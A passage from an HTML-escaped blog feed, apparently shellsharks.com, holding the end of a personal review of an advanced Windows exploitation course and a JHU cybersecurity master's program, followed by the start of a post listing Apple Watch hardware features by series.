&lt;h3 id=&quot;offensive-security-advanced-windows-exploitation&quot;&gt;Offensive Security Advanced Windows Exploitation&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Attended: August 2019&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The &lt;a href=&quot;https://www.offensive-security.com/awe-osee/&quot;&gt;AWE&lt;/a&gt; is &lt;a href=&quot;https://www.offensive-security.com/&quot;&gt;Offensive Security’s&lt;/a&gt; most difficult and arguably most prestigious certification, focusing exclusively on advanced, modern, Windows exploit development. With an interest in vulnerability research and thus an interest in exploit development, coupled with &lt;em&gt;some&lt;/em&gt; experience in exploit writing and reverse engineering I decided to sign up and make my way through the course. Offered only in-person at the yearly &lt;a href=&quot;https://www.blackhat.com/us-20/&quot;&gt;Black Hat&lt;/a&gt; security conference and with very limited seats available, I was lucky to have been given the chance.&lt;/p&gt;

&lt;p&gt;Now I will admit that at the time I sat for this course my exploit development skills and experience were certainly more on the beginner-side but based on my observations of other students in the class, I can say with no doubt, that this course is every bit as mind-melting and challenging as you might expect or have read in other reviews, even for those with far more experience than I. In hind-sight, I’m comfortable enough to say that I was out of my depth and would have been better served taking the course after I had a little more experience. But perhaps more importantly, I should have waited to take the course for when i was truly ready both mentally and professionally, to dive fully into the world of vulnerability research and exploit development.&lt;/p&gt;

&lt;p&gt;This takes me to my advice for those thinking about enrolling. If you aren’t already a vulnerability researcher, penetration tester, exploit developer or aren’t thinking about making the shift into that realm in the near-ish future, I probably would not sign up for the course. Without a good amount of preexisting experience or knowledge, theres a decent chance the material will fly over your head. But also, if you don’t plan on exercising what you’ve learned in short order, your unlikely to retain a lot of the information, nor will you be able to properly study for and take the extremely challenging &lt;a href=&quot;https://theevilbit.blogspot.com/2015/09/offensive-security-advanced-windows.html&quot;&gt;OSEE&lt;/a&gt; certification. With all this said, I do think that for those that are mentally (and emotionally) prepared, this course could really help someone push themselves further into modern exploit development and vulnerability research.&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;jhu-masters-in-cybersecurity-review&quot;&gt;JHU Masters in Cybersecurity Review&lt;/h1&gt;
&lt;p&gt;Starting in mid-2016 and finishing up almost exactly 4 years later in 2020, I &lt;em&gt;finally&lt;/em&gt; completed my Masters degree at Johns Hopkins University, achieving an MS in Cybersecurity. This &lt;a href=&quot;https://ep.jhu.edu/programs-and-courses/programs/cybersecurity&quot;&gt;program&lt;/a&gt; proved both challenging and rewarding as well as at times disappointing and even quite useless. I want to say early on in this review that I don’t recommend people sign up and self-pay for &lt;em&gt;any&lt;/em&gt; Cybersecurity masters degree. I don’t think in the infosec industry, there is any significant professional value with having a masters, outside of maybe qualifying for some manager roles. This is especially true given the time and money you must invest to even get a masters degree. They are expensive and in most cases, it seems that having a certification or two will more than satisfy contractual, HR or hiring manager requirements. In my case, my company was willing to foot the bill for the program and seeing the opportunity, I decided why not!? I of course fully recommend taking advantage of free, employer-sponsored training wherever possible.&lt;/p&gt;

&lt;p&gt;So how did I decide on the JHU program? Since I would still be working full time I needed to limit my choices to online programs only. Preferably as well, I wanted to choose an institution that was close by in the event that I needed to go on-campus for some reason, either to speak with a professor, collaborate with fellow students or take a class only offered on-premise. Living in the northern Virginia/DC metro area this still left me with a good number of options. With these requirements in mind I considered the following programs, &lt;a href=&quot;https://www.umgc.edu/academic-programs/cyber-security/index.cfm&quot;&gt;University of Maryland University College (UMUC)&lt;/a&gt;, &lt;a href=&quot;https://mage.umd.edu/cybersecurity&quot;&gt;University of Maryland (UMD)&lt;/a&gt;, &lt;a href=&quot;https://ep.jhu.edu/programs/cybersecurity/&quot;&gt;Johns Hopkins University (JHU)&lt;/a&gt;, &lt;a href=&quot;https://www.sans.edu/academics/degrees/msise&quot;&gt;SANS Technology Institute&lt;/a&gt; and &lt;a href=&quot;https://volgenau.gmu.edu/expertise/cybersecurity&quot;&gt;George Mason University&lt;/a&gt;. I won’t get into all the small decisions that ultimately led to me choosing the JHU program but in general I chose it for three reasons.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;First, and most importantly, I liked the &lt;a href=&quot;https://ep.jhu.edu/programs/cybersecurity/courses/&quot;&gt;available courses&lt;/a&gt; more so than any other program. Namely, I was interested in the &lt;a href=&quot;https://ep.jhu.edu/courses/reverse-engineering-and-vulnerability-analysis/&quot;&gt;reverse engineering course&lt;/a&gt;, &lt;a href=&quot;https://ep.jhu.edu/courses/software-development-for-real-time-embedded-systems/&quot;&gt;embedded systems course&lt;/a&gt; and the &lt;a href=&quot;https://ep.jhu.edu/courses/cyber-physical/&quot;&gt;cyber physical systems course&lt;/a&gt;. My primary focus with this degree was to focus on the learning aspects rather than just the idea of having a masters degree for my resume.&lt;/li&gt;
  &lt;li&gt;Second, after some research, it looked like the JHU program was &lt;a href=&quot;https://www.bestcolleges.com/features/top-online-masters-in-cybersecurity-programs/&quot;&gt;rated very high if not the highest among online Cybersecurity masters programs&lt;/a&gt;. I took this as a sign that this would be the best bet in terms of getting a high-quality, masters-level Cybersecurity education.&lt;/li&gt;
  &lt;li&gt;Third, I felt that Johns Hopkins had a particular prestige, especially in my area, and that having a degree from there would look good on my resume.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So how were the Masters classes? Well first, prior to getting accepted “officially” into the Masters program I needed to take a few additional pre-requisite courses. This included a &lt;a href=&quot;https://ep.jhu.edu/courses/intro-to-programming-using-java/&quot;&gt;Java class&lt;/a&gt;, a course in &lt;a href=&quot;https://ep.jhu.edu/courses/data-structures/&quot;&gt;Data Structures&lt;/a&gt; and a course in &lt;a href=&quot;https://ep.jhu.edu/courses/computer-organization/&quot;&gt;“Computer Organization”&lt;/a&gt; (&lt;a href=&quot;https://ep.jhu.edu/courses/discrete-mathematics/&quot;&gt;Discrete Mathematics&lt;/a&gt; and &lt;a href=&quot;https://ep.jhu.edu/courses/introduction-to-python/&quot;&gt;Python&lt;/a&gt; are also required pre-reqs but I had already satisfied these through undergraduate and professional work). All three of these courses were great additions to what was my overall masters curriculum and interestingly enough, three of my favorite courses I took over the course of getting the degree, despite none of them actually be masters courses (they were bachelor-level courses). The Java course is self explanatory, it was simply a beginner-to-intermediate-level course in Java programming. The Data Structures course I found fascinating and pretty invaluable. To this day I still use the concepts I learned in this class for both my personal/professional development efforts as well as for understanding concepts related to modern operating systems, memory, reverse engineering, etc… The Computer Organization course was primarily centered around assembly programming. This has proven to be very useful foundational knowledge for my forays into reverse engineering, exploit development and general security research.&lt;/p&gt;

&lt;p&gt;Once I finished the necessary pre-reqs I was formally accepted into the Masters program and now needed to complete the 10 Masters courses. Three of these are mandatory courses - &lt;a href=&quot;https://ep.jhu.edu/courses/foundations-of-algorithms/&quot;&gt;Foundations of Algorithms&lt;/a&gt;, &lt;a href=&quot;https://ep.jhu.edu/courses/foundations-of-information-assurance/&quot;&gt;Foundations of Information Assurance&lt;/a&gt; and &lt;a href=&quot;https://ep.jhu.edu/courses/cryptology/&quot;&gt;Cryptology&lt;/a&gt;. Foundations of Algorithms is advertised as the sequel to Data Structures and maybe in theory it is, but I found the class (and I can not stress this enough) completely useless, entirely opaque, and overtly difficult. In fact, the professor even suggested, during an office hours one night, that the class did not make sense for anyone who wasn’t in applied mathematics or certain (more abstract) disciplines of computer science. The course content, assignments and projects were all nearly impossible to follow, to the point where the professor would essentially just give us the answers since he knew how difficult the material was. Overall this class was a complete dud, in all respects. It was a waste of my time and I learned absolutely nothing. Unfortunately, it was required and therefore I could not get out of it, nor can anyone else in this program. Moving on… The “Foundations of Information Assurance” course was your typical “intro to information security” type stuff. Given my experience in the field, I did not personally get much value out of this course. Now if you had less experience in the field or are coming into this Masters program fresh out of your undergrad or early enough in your Cybersecurity career, I can definitely see how this class would prove beneficial to building your understanding of the fundamentals of infosec. So again, kind of a dud for me. The third and final mandatory class was in Cryptology. This class, unlike the first two, I found challenging, interesting, relevant and worthy of the Cybersecurity masters class designation. This was a highly technical class where you really are taught how modern ciphers work, the mathematical principles that are the groundwork of these cryptological constructs and are even taught cryptoanalytic techniques. My word of warning for those who are getting ready for this course is to take it seriously, not only because it is challenging but because it is information dense and it is knowledge you really are going to want to try and commit to memory as best you can.&lt;/p&gt;

&lt;p&gt;In addition to the three required classes, I needed to choose seven electives from their &lt;a href=&quot;https://ep.jhu.edu/programs/cybersecurity/courses/&quot;&gt;catalog of courses&lt;/a&gt;. The seven I chose are listed below (in the order I took them).&lt;/p&gt;

&lt;h2 id=&quot;elective-classes&quot;&gt;Elective Classes&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#principles-of-data-communications&quot;&gt;Principles of Data Communications&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#embedded-computer-systems&quot;&gt;Embedded Computer Systems&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#software-development-for-real-time-embedded-systems&quot;&gt;Software Development for Real-Time Embedded Systems&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#reverse-engineering-and-vulnerability-analysis&quot;&gt;Reverse Engineering and Vulnerability Analysis&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#operating-systems&quot;&gt;Operating Systems&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#web-security&quot;&gt;Web Security&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#intrusion-detection&quot;&gt;Intrusion Detection&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I’d like to quickly review and give my thoughts on each of these below…&lt;/p&gt;

&lt;h3 id=&quot;principles-of-data-communications&quot;&gt;Principles of Data Communications&lt;/h3&gt;
&lt;p&gt;One of the primary things I hoped to get out of experience with this Masters program was to get a deeper, more robust understanding of TCP/IP and computer networking. I wanted to understand these concepts from a purely academic perspective, rather than an applied one as I had received via an assortment of training courses (such as the &lt;a href=&quot;#sec503-intrusion-detection-in-depth-gcia-sans&quot;&gt;SANS course SEC503&lt;/a&gt;). JHU offers a variety of courses related to this domain, all of which required this course, &lt;a href=&quot;https://ep.jhu.edu/courses/principles-of-data-communications-networks/&quot;&gt;Principles of Data Communications&lt;/a&gt;, to be taken as a pre-req. This course primarily covers the Layer 1 (physical layer) aspects of network communications focusing on topics such as digital vs analog encoding, multiplexing, signaling, error-detection, data compression and more advanced topics. Though I found this course very interesting, I think it was a little TOO low level for what I was looking for. I would need to take a different class to cover networking concepts related to &lt;a href=&quot;https://en.wikipedia.org/wiki/OSI_model&quot;&gt;layers&lt;/a&gt; 2-4 which was after all, my primary interest in taking this class in the first place. Ultimately, I only recommend this course for those who really want to know these low level mechanics. Then again, this course is also a pre-req for almost all other courses in the networking track for this degree program so you may have to take it regardless if you have your eyes set on something which requires it.&lt;/p&gt;

&lt;p&gt;Unfortunately, out of the 6 other electives I chose from here, none of them actually ended up being one of the classes that would focus more on networking or TCP/IP! Oh well, sometimes even the best-laid plans go awry.&lt;/p&gt;

&lt;h3 id=&quot;embedded-computer-systems&quot;&gt;Embedded Computer Systems&lt;/h3&gt;
&lt;p&gt;Having an interest in vulnerability research, especially in the realm of &lt;a href=&quot;https://en.wikipedia.org/wiki/Internet_of_things&quot;&gt;IoT&lt;/a&gt;, got me hooked on the idea of learning more about embedded systems. So much so that I decided to take not one but TWO electives on the subject, &lt;a href=&quot;https://ep.jhu.edu/courses/embedded-computer-systems-vulnerabilities-intrusions-and-protection-mechanisms/&quot;&gt;this class&lt;/a&gt; and a class on &lt;a href=&quot;#software-development-for-real-time-embedded-systems&quot;&gt;software development for embedded systems&lt;/a&gt;. This first class I felt was a real dud and was pretty much useless. The class was mostly a series of bizarre “case studies” that hardly had anything to really do with embedded systems. Not once did I get to dump firmware off of an embedded system or even physically do anything with an embedded system. There was nothing about the course which was even remotely practical, or interesting in any way. At certain points the course material would pivot into even softer subjects like “copywright law” or “licensing agreements”. This class ended up being a huge disappointment and I would &lt;strong&gt;not recommend&lt;/strong&gt; it to anyone.&lt;/p&gt;

&lt;h3 id=&quot;software-development-for-real-time-embedded-systems&quot;&gt;Software Development for Real-Time Embedded Systems&lt;/h3&gt;
&lt;p&gt;The second of &lt;a href=&quot;#embedded-computer-systems&quot;&gt;two embedded systems-related classes&lt;/a&gt; I took focused on &lt;a href=&quot;https://ep.jhu.edu/courses/software-development-for-real-time-embedded-systems/&quot;&gt;software development for embedded systems&lt;/a&gt;, more specifically, development on &lt;em&gt;real-time systems (RTOS)&lt;/em&gt;. This class was extremely practical as we spent the entire time actually writing code for arduino systems and even building a drone-system with a variety of sensors all interfacing with the arduino. I greatly enjoyed this class and felt like i learned quite a bit on the subject. Unfortunately, I’m not entirely sure how useful this knowledge has been (so far) with respect to my career. I’ll also point out that the use of a drone for this class was highly suspect as the drone kit was not particularly easy to use and all lab deliverables required videos of the drone being successfully flown while also performing a number of other in-flight operations. This put those who were not particularly great drone pilots (like myself) at a bit of a disadvantage. I appreciate the spirit of what the professor was going for here but I think the class would have been better served with something a bit easier to control like an RC car.&lt;/p&gt;

&lt;h3 id=&quot;reverse-engineering-and-vulnerability-analysis&quot;&gt;Reverse Engineering and Vulnerability Analysis&lt;/h3&gt;
&lt;p&gt;The class on &lt;a href=&quot;https://ep.jhu.edu/courses/reverse-engineering-and-vulnerability-analysis/&quot;&gt;reverse engineering and vulnerability analysis&lt;/a&gt; was by far my favorite course and I believe, objectively-speaking, the best course I took throughout the course of my Masters program. This class is the perfect mix of both theory and practical exercises, set to an extremely fast pace. Within the first week you will have covered and began deciphering &lt;a href=&quot;https://shellsharks.com/intel-assembly-primer#title&quot;&gt;Intel assembly&lt;/a&gt; instructions as well as started writing your own Intel assembly disassembler! By the end of the class you will be doing full malware reverse engineering and even writing your own exploits from scratch. This class was no joke! I &lt;strong&gt;can’t recommend this class enough&lt;/strong&gt;, especially for those interested in these advanced topics.&lt;/p&gt;

&lt;h3 id=&quot;operating-systems&quot;&gt;Operating Systems&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://ep.jhu.edu/courses/operating-systems/&quot;&gt;This course&lt;/a&gt; was a bit of a mixed- bag. From a theory perspective, this course was exactly what I was looking for. It covered all the core operating system constructs (e.g. interrupts, kernel types, system calls, system architectures, system programming, scheduling, I/O, multi threading, memory, task management, deadlocks, device drivers, file systems and more!). Execution of the &lt;em&gt;practical&lt;/em&gt; side of this course was where the big let down was. Namely, the course author decided to have all assignments and labs (all of which were heavily focused on system programming) be based on the strange, little-heard-of, not-modern, &lt;a href=&quot;https://www.minix3.org/&quot;&gt;Minix 3&lt;/a&gt; microkernel-based operating system. Now I had never heard of Minix 3 and asking my coworkers about Minix yielded a similar response. What was Minix 3 and why would my professor think this was a good platform to teach OS concepts? I mean, it doesnt even use a modern architecture, Minix 3 after all is a micro-kernel architecture as opposed to a more modern, monolithic or hybrid-based architecture. This course required a pretty firm understanding of C programming as well as some prior experience in Unix system programming, neither of which I really had. Picking up C was easy enough but learning to write code specifically for an operating system that no one uses and thus has little references online, proved to be a real struggle. I’ll also add here that the professor was particularly non-helpful when it came to actually teaching these more practical concepts. Perhaps the expectation was that this was something I should have already known coming into the course. Either way, I found the system programming segments of the course to be frustrating and stressful as they were a very large part of my final grade. Ultimately I did prevail and though I have some pretty big issues with this particular aspect of the course, I do think overall I would continue to recommend it to those who want to learn more about operating systems. My recommendation to Johns Hopkins however is to use a more relevant, modern operating system (like actual Linux!) as the practical foundation for this class.&lt;/p&gt;

&lt;h3 id=&quot;web-security&quot;&gt;Web Security&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://ep.jhu.edu/courses/web-security/&quot;&gt;This course&lt;/a&gt; was an interesting overview of the wide-variety of web-related technologies a security professional must consider, with topics including web-based crypto, writing RESTful APIs using Flask, AWS cloud, SAST/DASTWAF concepts, IoT protocols, container technologies such as Docker, open-source vulnerability scanners and finally a module on traditional web-application vulnerabilities such as XSS, SQLi etc… I found this course to be a little meandering, never doing anything more than scraping the surface of each of these topics. Yes, there were some interesting practical exercises sprinkled throughout but mostly I found that getting a “taste” of so many things was not &lt;em&gt;that&lt;/em&gt; valuable (to me personally). I’ll qualify this by saying at this point in time I had several years of web application security and cloud experience so some of this material may have simply just not been that new to me and thus I found the lectures and assignments a bit boring. For someone interested in getting a look on everything “goin on” in the web security world, I think this course can satisfy that specific need. Outside of that, I think most people might leave this class just hungry for something a little more substantial.&lt;/p&gt;

&lt;h3 id=&quot;intrusion-detection&quot;&gt;Intrusion Detection&lt;/h3&gt;
&lt;p&gt;My seventh and final elective was &lt;a href=&quot;https://ep.jhu.edu/courses/intrusion-detection/&quot;&gt;Intrusion Detection&lt;/a&gt;. I had not intended to take this course and only did end up enrolling due to availability and scheduling issues related to another class I had planned on taking. It was my final semester however and at this point I really wanted to close the book on this program and move on to other things in my life! It turns out that I’m happy I took the course as it was (similar to my &lt;a href=&quot;#reverse-engineering-vulnerability-analysis&quot;&gt;Reverse Engineering course&lt;/a&gt;) a really satisfying mix of both theory and practical exercises. Notably, I’d like to call out the excellent labs (assigned weekly) which covered a wide variety of tools (some of which I did have prior experience with) such as Nmap, Linux, TripWire, OSSEC, Snort, Neo4j, Cypher, Zeek, iptables, ROC analysis, Keras and RapidMiner. I definitely recommend this class for anyone looking to get some good experience with any one of these tools and learn more about general intrusion detection in the process.&lt;/p&gt;

&lt;h2 id=&quot;what-i-wish-i-had-done-differently&quot;&gt;What I wish I had done differently&lt;/h2&gt;
&lt;p&gt;Having finally graduated, I wanted to take a look back at my experience both with JHU at a high level and with each of my classes and reflect on what I may have done differently. First I want to say that if I could go back in time, I would stilll choose the JHU program over any of the other schools I had considered. What I would change however is some of the classes I took. I’ve made it clear in my reviews above what classes I thought were good, which had value specifically to me and which classes I thought were awful. Out of the 10 masters-level classes I took, three of them I found both well done and applicable/valuable to my career, three of them I found very interesting and well done yet not particularly relevant to my career, two of them I found a little too “high level” and not particularly useful and another two I thought were just atrocious. Looking at these numbers it’d be easy to come to the determination (with only 3 classes I actually thought were useful to me) that I didn’t get out of this program what I had hoped.  Had I chose different classes I certainly would have gotten more out of the program but I am thankful for what I was able to learn. Some classes I would have liked to try instead include offerings on Java Security, Cyber Physical Systems Security, Operating Systems Security and even Digital Forensics. I’ll add that there seems to have been some significant changes to the course catalog since I graduated (which was only a few weeks ago as of this writing) with more courses having been added, notably classes on DevOps and “Assured Autonomy”, both of which might have been interesting to me and would certainly be worth checking out for anyone considering this program. After taking the class in &lt;a href=&quot;#reverse-engineering-and-vulnerability-analysis&quot;&gt;reverse engineering and vulnerability analysis&lt;/a&gt;, the professor suggested, for anyone who was interested, doing an &lt;a href=&quot;https://advising.jhu.edu/research-internships-and-independent-study/&quot;&gt;Independent Study&lt;/a&gt; in place of a typical elective. This would offer the same three credits but allow for a more exploratory, research-oriented approach to the reverse engineering material (or any other class you would be interested in). I seriously considered doing this for reverse engineering but ultimately decided not to. I regret this decision and recommend those who are taking this program to not be lazy and do what you think sounds interesting, even if it will be more work.&lt;/p&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;retrospective&quot;&gt;Retrospective&lt;/h1&gt;
&lt;p&gt;It’s really incredible and I’m extremely grateful for all the opportunities I’ve been given over the last 5 years and though there are plenty of things I would change if I could go back and somehow make adjustments along the way, I am ultimately very satisfied with how everything has turned out and the choices I made. In closing, I have just a few parting nuggets of “wisdom” / advice I’d like to share.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;Make an effort to continually &lt;em&gt;re-focus&lt;/em&gt;, frequently ask yourself what you want to do or where you’d like to be and make constant adjustments to better reach that goal. It’s easy to be swept into something or fall into a “comfort zone” such that you drift away from where you really want to be.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Appreciate all opportunities and try not to discount the things you may learn that you think are not relevant or useful. Too many times have I had the chance to learn something I didn’t think was useful so I never really committed myself to it, only to later realize i DID want to know it and was then force to teach myself again. You’ll save yourself plenty of time and headache by just having an open mind and being as much of a willing knowledge-sponge as possible.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Revel in the fact that infosec is such a cool and exciting field! One that for those who are motivated enough, can be a place of rapid development and overwhelming opportunity. Take advantage of the vast network of people just like yourself who are looking to share their experiences, network and continuously learn.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Thanks so much for reading, whether it was the entirety of this article (I know it’s quite long) or any given section. I hope some of it was enlightening or valuable and if there are any questions or you’d like to know more / share your own experiences I’d love to hear about it! &lt;a href=&quot;https://shellsharks.com/contact&quot;&gt;Feel free to reach out&lt;/a&gt; anytime!&lt;/p&gt;
</description>
        <pubDate>Fri, 16 Oct 2020 10:50:00 -0400</pubDate>
        <link>https://shellsharks.com/training-retrospective</link>
        <guid isPermaLink="true">https://shellsharks.com/training-retrospective</guid>
        
        <category>training</category>
        
        <category>infosec</category>
        
        <category>life</category>
        
        <category>bestof</category>
        
        <category>project</category>
        
        <category>appsec</category>
        
        <category>dev</category>
        
        <category>pentesting</category>
        
        <category>cloud</category>
        
        <category>vm</category>
        
        <category>reverseengineering</category>
        
        <category>red</category>
        
        <category>blue</category>
        
        <category>sans</category>
        
        <category>python</category>
        
        
        <category>infosec</category>
        
        <category>blog</category>
        
        <category>list</category>
        
      </item>
    
      <item>
        <title>Apple Watch Hardware Progression</title>
        <shark:summary><p>The evolution of the <a href="https://www.apple.com/watch/">Apple Watch</a> is characterized by relatively small, incremental updates each generation. Year after year, these small changes inevitably invite the question… “<em>So what’s actually new this year</em>?”. To answer this question, new <em>hardware</em> features between each generation of the Apple Watch are enumerated below.</p>
</shark:summary>
        <description>&lt;p&gt;The evolution of the &lt;a href=&quot;https://www.apple.com/watch/&quot;&gt;Apple Watch&lt;/a&gt; is characterized by relatively small, incremental updates each generation. Year after year, these small changes inevitably invite the question… “&lt;em&gt;So what’s actually new this year&lt;/em&gt;?”. To answer this question, new &lt;em&gt;hardware&lt;/em&gt; features between each generation of the Apple Watch are enumerated below.&lt;/p&gt;

&lt;h3 id=&quot;jump-to-series-x&quot;&gt;Jump to Series &lt;em&gt;X&lt;/em&gt;&lt;/h3&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;#series-0&quot;&gt;Series 0&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#series-1&quot;&gt;Series 1&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#series-2&quot;&gt;Series 2&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#series-3&quot;&gt;Series 3&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#series-4&quot;&gt;Series 4&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#series-5&quot;&gt;Series 5&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#series-6&quot;&gt;Series 6&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#series-7&quot;&gt;Series 7&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#series-7&quot;&gt;Series 8&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#ultra&quot;&gt;Ultra&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#series-9--ultra-2&quot;&gt;Series 9 &amp;amp; Ultra 2&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#references&quot;&gt;References&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h1 id=&quot;series-0&quot;&gt;Series 0&lt;/h1&gt;
&lt;p&gt;&lt;em&gt;Released April 24, 2015&lt;/em&gt; - The original Apple Watch had a large variety of sensors though ultimately suffered from poor performance.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;AMOLED Retina display (450 nits brightness, Force Touch, sizes 38mm and 42 mm)&lt;/li&gt;
  &lt;li&gt;Apple S1 SiP&lt;/li&gt;
  &lt;li&gt;8 GB onboard storage&lt;/li&gt;
  &lt;li&gt;512MB RAM&lt;/li&gt;
  &lt;li&gt;NFC&lt;/li&gt;
  &lt;li&gt;WiFi 802.11b/g/n 2.4GHz&lt;/li&gt;
  &lt;li&gt;Bluetooth 4.0 LE&lt;/li&gt;
  &lt;li&gt;Accelerometer (16-g)&lt;/li&gt;
  &lt;li&gt;Gyroscope&lt;/li&gt;
  &lt;li&gt;Heart rate sensor&lt;/li&gt;
  &lt;li&gt;Ambient light sensor&lt;/li&gt;
  &lt;li&gt;Microphone&lt;/li&gt;
  &lt;li&gt;Speaker&lt;/li&gt;
  &lt;li&gt;Linear actuator Taptic Engine&lt;/li&gt;
  &lt;li&gt;IPX7 (splash) water resistance (1 meter)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Edition&lt;/strong&gt;: 18 karat yellow or rose gold&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;series-1&quot;&gt;Series 1&lt;/h1&gt;
&lt;p&gt;&lt;em&gt;Released September 16, 2016&lt;/em&gt; - The ‘Series 1’ was Apple’s attempt to correct the CPU issues that plagued the original Apple Watch (a.k.a. ‘Series 0’). [&lt;em&gt;Performance Release&lt;/em&gt;]&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Apple S1P dual-core processor&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;OLED Retina display (1st-generation) w/ Ion-X glass&lt;/li&gt;
  &lt;li&gt;Bluetooth 4.2&lt;/li&gt;
  &lt;li&gt;Capacity 8GB&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;series-2&quot;&gt;Series 2&lt;/h1&gt;
&lt;p&gt;&lt;em&gt;Released September 16, 2016&lt;/em&gt; - The ‘Series 2’ was released alongside the ‘Series 1’ and brought with it a 2x brighter screen, vastly improved water resistance and a GPS module. This ultimately improved it’s ability to perform fitness-related tasks. [&lt;em&gt;Fitness Release&lt;/em&gt;]&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;OLED Retina display (2nd-generation, 1000 nits brightness)&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Water resistance up to 50 meters (WR50)&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;GPS (GLONASS)&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;Apple S2 SiP&lt;/li&gt;
  &lt;li&gt;Larger Taptic Engine&lt;/li&gt;
  &lt;li&gt;Speaker pump (to remove water from speakers)&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Edition&lt;/strong&gt;: Ceramic&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;series-3&quot;&gt;Series 3&lt;/h1&gt;
&lt;p&gt;&lt;em&gt;Released September 22, 2017&lt;/em&gt; - The ‘Series 3’ introduced LTE cellular models as well as a barometric sensor and even more-improved processor. [&lt;em&gt;Connectivity Release&lt;/em&gt;]&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;LTE and UMTS cellular (eSIM)&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Barometric altimeter sensor&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Improved processor (Siri can now audibly speak)&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;Apple S3 SiP&lt;/li&gt;
  &lt;li&gt;GPS (Galileo, QZSS)&lt;/li&gt;
  &lt;li&gt;Capacity 16GB&lt;/li&gt;
  &lt;li&gt;768MB RAM&lt;/li&gt;
  &lt;li&gt;LTE models Digital Crown featured a big red dot&lt;/li&gt;
  &lt;li&gt;Ceramic sensor housing/back of device&lt;/li&gt;
  &lt;li&gt;Optical heart sensor&lt;/li&gt;
  &lt;li&gt;W2 wireless chip&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;series-4&quot;&gt;Series 4&lt;/h1&gt;
&lt;p&gt;&lt;em&gt;Released September 21, 2018&lt;/em&gt; - The ‘Series 4’ introduced larger, rounded, edge-to-edge screens as well as the ability to perform electrocardiogram (ECG) measurements. An improved accelerometer and gyroscope brought “fall detection” to the device. [&lt;em&gt;Health Release&lt;/em&gt;]&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Display sizes 40mm and 44mm&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;ECG - Electrical heart sensor&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Fall detection via improved accelerometer (32-g) and gyroscope&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;LTPO OLED Retina display&lt;/li&gt;
  &lt;li&gt;Apple 64-bit S4 SiP&lt;/li&gt;
  &lt;li&gt;GPS (GALILEO, QZSS)&lt;/li&gt;
  &lt;li&gt;Bluetooth 5.0&lt;/li&gt;
  &lt;li&gt;Microphone moved to support better call quality&lt;/li&gt;
  &lt;li&gt;50% Louder speaker&lt;/li&gt;
  &lt;li&gt;Haptic feedback in Digital Crown&lt;/li&gt;
  &lt;li&gt;1 GB RAM&lt;/li&gt;
  &lt;li&gt;2nd-generation optical heart sensor&lt;/li&gt;
  &lt;li&gt;Cellular models now sport a more-subtle red ring on Digital Crown&lt;/li&gt;
  &lt;li&gt;W3 wireless chip&lt;/li&gt;
  &lt;li&gt;Edition: NONE Available&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;series-5&quot;&gt;Series 5&lt;/h1&gt;
